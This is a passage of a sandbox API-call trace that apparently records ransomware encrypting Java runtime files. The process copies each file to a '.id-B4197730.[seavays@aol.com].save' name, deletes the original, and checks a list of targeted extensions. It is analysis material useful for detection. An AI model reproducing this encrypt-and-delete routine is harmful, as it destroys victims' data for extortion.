(hObject=0x3b4) returned 1 [0161.667] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.667] SetEndOfFile (hFile=0x398) returned 1 [0161.671] CloseHandle (hObject=0x398) returned 1 [0161.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.671] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0161.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.672] lstrlenW (lpString=".doc") returned 4 [0161.672] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0161.672] lstrlenW (lpString=".docx") returned 5 [0161.672] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0161.672] lstrlenW (lpString=".pdf") returned 4 [0161.672] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0161.672] lstrlenW (lpString=".xls") returned 4 [0161.672] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0161.672] lstrlenW (lpString=".xlsx") returned 5 [0161.672] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0161.672] lstrlenW (lpString=".ppt") returned 4 [0161.673] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString=".zip") returned 4 [0161.673] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0161.673] lstrlenW (lpString=".rar") returned 4 [0161.673] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0161.673] lstrlenW (lpString=".bz2") returned 4 [0161.673] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0161.673] lstrlenW (lpString=".7z") returned 3 [0161.673] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString=".dbf") returned 4 [0161.673] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString=".1cd") returned 4 [0161.673] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString=".jpg") returned 4 [0161.673] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.673] lstrlenW (lpString=".doc") returned 4 [0161.673] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0161.673] lstrlenW (lpString=".docx") returned 5 [0161.673] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0161.674] lstrlenW (lpString=".pdf") returned 4 [0161.674] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0161.674] lstrlenW (lpString=".xls") returned 4 [0161.674] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0161.674] lstrlenW (lpString=".xlsx") returned 5 [0161.674] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0161.674] lstrlenW (lpString=".ppt") returned 4 [0161.674] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.674] lstrlenW (lpString=".zip") returned 4 [0161.674] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0161.674] lstrlenW (lpString=".rar") returned 4 [0161.674] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0161.674] lstrlenW (lpString=".bz2") returned 4 [0161.674] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0161.674] lstrlenW (lpString=".7z") returned 3 [0161.674] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.674] lstrlenW (lpString=".dbf") returned 4 [0161.674] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.674] lstrlenW (lpString=".1cd") returned 4 [0161.674] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0161.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0161.674] lstrlenW (lpString=".jpg") returned 4 [0161.674] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0161.675] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0161.675] lstrlenW (lpString="messages.properties") returned 19 [0161.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.828] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=2860) returned 1 [0161.828] CloseHandle (hObject=0x398) returned 1 [0161.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0162.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0162.439] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.566] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.567] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0162.568] GetLastError () returned 0x0 [0162.568] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xb2c, lpOverlapped=0x0) returned 1 [0162.571] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xb30, lpOverlapped=0x0) returned 1 [0162.572] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.572] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa, lpOverlapped=0x0) returned 1 [0162.573] SetEndOfFile (hFile=0x434) returned 1 [0162.573] CloseHandle (hObject=0x434) returned 1 [0162.573] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.573] SetEndOfFile (hFile=0x41c) returned 1 [0162.578] CloseHandle (hObject=0x41c) returned 1 [0162.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.579] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0162.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.580] lstrlenW (lpString=".doc") returned 4 [0162.580] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.580] lstrlenW (lpString=".docx") returned 5 [0162.580] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.580] lstrlenW (lpString=".pdf") returned 4 [0162.580] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.580] lstrlenW (lpString=".xls") returned 4 [0162.580] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.580] lstrlenW (lpString=".xlsx") returned 5 [0162.580] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.580] lstrlenW (lpString=".ppt") returned 4 [0162.580] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString=".zip") returned 4 [0162.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString=".rar") returned 4 [0162.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString=".bz2") returned 4 [0162.581] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString=".7z") returned 3 [0162.581] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString=".dbf") returned 4 [0162.581] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString=".1cd") returned 4 [0162.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString=".jpg") returned 4 [0162.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.581] lstrlenW (lpString=".doc") returned 4 [0162.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.581] lstrlenW (lpString=".docx") returned 5 [0162.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.581] lstrlenW (lpString=".pdf") returned 4 [0162.582] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString=".xls") returned 4 [0162.582] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString=".xlsx") returned 5 [0162.582] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.582] lstrlenW (lpString=".ppt") returned 4 [0162.582] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.582] lstrlenW (lpString=".zip") returned 4 [0162.582] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString=".rar") returned 4 [0162.582] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString=".bz2") returned 4 [0162.582] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString=".7z") returned 3 [0162.582] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.582] lstrlenW (lpString=".dbf") returned 4 [0162.582] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.582] lstrlenW (lpString=".1cd") returned 4 [0162.582] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0162.582] lstrlenW (lpString=".jpg") returned 4 [0162.582] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.583] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.583] lstrlenW (lpString="messages_ja.properties") returned 22 [0162.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0162.585] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6349) returned 1 [0162.585] CloseHandle (hObject=0x41c) returned 1 [0162.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0162.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0162.586] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.586] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0162.587] GetLastError () returned 0x0 [0162.587] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x18cd, lpOverlapped=0x0) returned 1 [0162.589] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x18d0, lpOverlapped=0x0) returned 1 [0162.591] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.591] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0162.591] SetEndOfFile (hFile=0x434) returned 1 [0162.592] CloseHandle (hObject=0x434) returned 1 [0162.592] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.592] SetEndOfFile (hFile=0x41c) returned 1 [0162.595] CloseHandle (hObject=0x41c) returned 1 [0162.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.596] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0162.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.597] lstrlenW (lpString=".doc") returned 4 [0162.597] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.597] lstrlenW (lpString=".docx") returned 5 [0162.597] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.597] lstrlenW (lpString=".pdf") returned 4 [0162.597] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.597] lstrlenW (lpString=".xls") returned 4 [0162.597] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString=".xlsx") returned 5 [0162.598] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.598] lstrlenW (lpString=".ppt") returned 4 [0162.598] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString=".zip") returned 4 [0162.598] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString=".rar") returned 4 [0162.598] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString=".bz2") returned 4 [0162.598] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString=".7z") returned 3 [0162.598] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString=".dbf") returned 4 [0162.598] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString=".1cd") returned 4 [0162.598] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString=".jpg") returned 4 [0162.598] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.598] lstrlenW (lpString=".doc") returned 4 [0162.599] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".docx") returned 5 [0162.599] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.599] lstrlenW (lpString=".pdf") returned 4 [0162.599] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".xls") returned 4 [0162.599] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".xlsx") returned 5 [0162.599] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.599] lstrlenW (lpString=".ppt") returned 4 [0162.599] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.599] lstrlenW (lpString=".zip") returned 4 [0162.599] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".rar") returned 4 [0162.599] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".bz2") returned 4 [0162.599] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString=".7z") returned 3 [0162.599] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.599] lstrlenW (lpString=".dbf") returned 4 [0162.599] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.599] lstrlenW (lpString=".1cd") returned 4 [0162.599] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0162.600] lstrlenW (lpString=".jpg") returned 4 [0162.600] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.600] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.600] lstrlenW (lpString="messages_ko.properties") returned 22 [0162.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0162.602] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=5712) returned 1 [0162.602] CloseHandle (hObject=0x41c) returned 1 [0162.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0162.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0162.603] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.603] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.603] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0162.604] GetLastError () returned 0x0 [0162.604] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1650, lpOverlapped=0x0) returned 1 [0163.039] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1660, lpOverlapped=0x0) returned 1 [0163.040] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.040] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0163.040] SetEndOfFile (hFile=0x434) returned 1 [0163.041] CloseHandle (hObject=0x434) returned 1 [0163.041] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.041] SetEndOfFile (hFile=0x41c) returned 1 [0163.045] CloseHandle (hObject=0x41c) returned 1 [0163.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.049] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0163.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0163.050] lstrlenW (lpString=".doc") returned 4 [0163.050] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.050] lstrlenW (lpString=".docx") returned 5 [0163.050] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.050] lstrlenW (lpString=".pdf") returned 4 [0163.050] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.050] lstrlenW (lpString=".xls") returned 4 [0163.050] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.050] lstrlenW (lpString=".xlsx") returned 5 [0163.050] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.050] lstrlenW (lpString=".ppt") returned 4 [0163.050] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.050] 